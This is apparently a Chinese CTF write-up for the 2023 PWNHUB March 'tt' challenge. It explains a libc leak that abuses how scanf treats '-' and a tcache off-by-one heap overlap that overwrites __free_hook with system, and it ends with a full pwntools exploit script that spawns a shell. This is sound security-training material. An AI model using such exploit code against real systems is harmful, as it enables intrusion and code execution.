setcbuf

代码 setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); 是用来设置标准输入、标准输出和标准错误流的缓冲模式的。

setvbuf 函数的原型如下:

int setvbuf(FILE *stream, char *buffer, int mode, size_t size);

该函数用于设置 stream 所指向的文件流的缓冲区,以及缓冲方式和缓冲区的大小。

  • stream:要设置缓冲区的文件流,如stdin, stdout, stderr等。
  • buffer:缓冲区的地址,设置为0LL表示完全不使用缓冲区。
  • mode:缓冲方式,可以是以下常量之一:
  • _IOFBF:完全缓冲 (full buffering)
  • _IOLBF:行缓冲 (line buffering)
  • _IONBF:无缓冲 (no buffering)
  • size:缓冲区的大小。

在给定的代码中,setvbuf(stdin, 0LL, 2, 0LL); 意味着关闭了stdin的缓冲机制,即从stdin读取的输入不会被缓冲,而是直接从终端获取。

同样地,setvbuf(stdout, 0LL, 2, 0LL); 和 setvbuf(stderr, 0LL, 2, 0LL); 则分别用于关闭stdout和stderr的缓冲机制,从而输出将立即显示在终端上,而不会被缓冲。

泄露栈地址

  name[3] = __readfsqword(0x28u);
  name[0] = 0LL;
  name[1] = 0LL;
  read(0, name, 0x10uLL);
  printf("name: %sage: %d\nhigh: %d\n", (const char *)name, (unsigned int)age, HIDWORD(age));// name泄露栈地址

转换

*(_QWORD *)(8LL * index + chunk_70_1_addr[0])

2023 PWNHUB 3月赛-【tt】-LMLPHP

chunk_70_1_addr[index]

scanf

注意scanf的参数是栈顶的第一个元素的位置,如果此时输入-,scanf将不会写任何数据到scanf的第一个参数的位置,但同时会认为任务接收完成
由于此时栈顶的值为io_files_jump的地址,且最后会将栈顶元素的值赋值给要printf的参数,最后可以泄露libc基地址

栈地址

栈地址和libc基地址和heap基地址之间都没有固定偏移

思路

  • 利用scanf的参数和最后printf输出的参数的相关联系以及scanf遇到-的特性泄露libc基地址
  • 分配四个堆,大小都为0x18,第一个堆offbyone写第二个堆的size使得能够覆盖到后面两个堆
  • free将三个堆都free掉
  • malloc得到大堆,并同时修改后面堆的数据
  • 修改第三个堆的fd为free_hook的地址(在tcachebin的起始位置 先进后出)
  • malloc两次,并修改_free_hook的内容为system
  • free(第二个堆块)(第二个堆块malloc构造/bin/sh即可以)

exp

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p=process("./ttsc")
gdb.attach(p,"b main")
libc=ELF("./libc-2.27.so")

def cmd(ch):
    p.sendlineafter(b"chs:",str(ch).encode())
def add(idx, size, content): 
    cmd(1) 
    p.sendlineafter(b"index?\n", str(idx).encode()) 
    p.sendlineafter(b"size:\n", str(size).encode()) 
    sleep(0.1) 
    p.send(content) 
def free(idx): 
    cmd(2) 
    p.sendlineafter(b"index?\n", str(idx).encode()) 
def edit(idx, content): 
    cmd(3) 
    p.sendlineafter(b"index?\n", str(idx).encode()) 
    p.sendafter(b"content:", content)
if __name__=="__main__":
    p.sendlineafter("what is your name?\n", b" ") 
    p.sendlineafter("age?\n", b"-") 
    p.sendlineafter("high?\n", b"-") 
    p.recvuntil(b"age: ") 
    lo = int(p.recvuntil(b"\n", drop=True), 10) 
    p.recvuntil(b"high: ")
    hi = int(p.recvuntil(b"\n", drop=True), 10) 
    _IO_file_jumps = (hi << 32) | lo 
    libc_base = _IO_file_jumps - libc.sym["_IO_file_jumps"] 
    add(0,0x18,"0")
    add(1,0x18,"0")
    add(2,0x18,"0")
    add(3,0x18,"0")
    edit(0,b"a"*0x18+b"\x71")
    free(1)
    free(2)
    free(3)
    add(1,0x68,b"a"*0x18+p64(0x21)+p64(0)*3+p64(0x21)+p64(libc_base+libc.sym.__free_hook))
    add(2,0x18,b"/bin/sh\x00")
    add(3,0x18,p64(libc_base+libc.sym.system))
    free(2)
    p.interactive()
03-18 23:31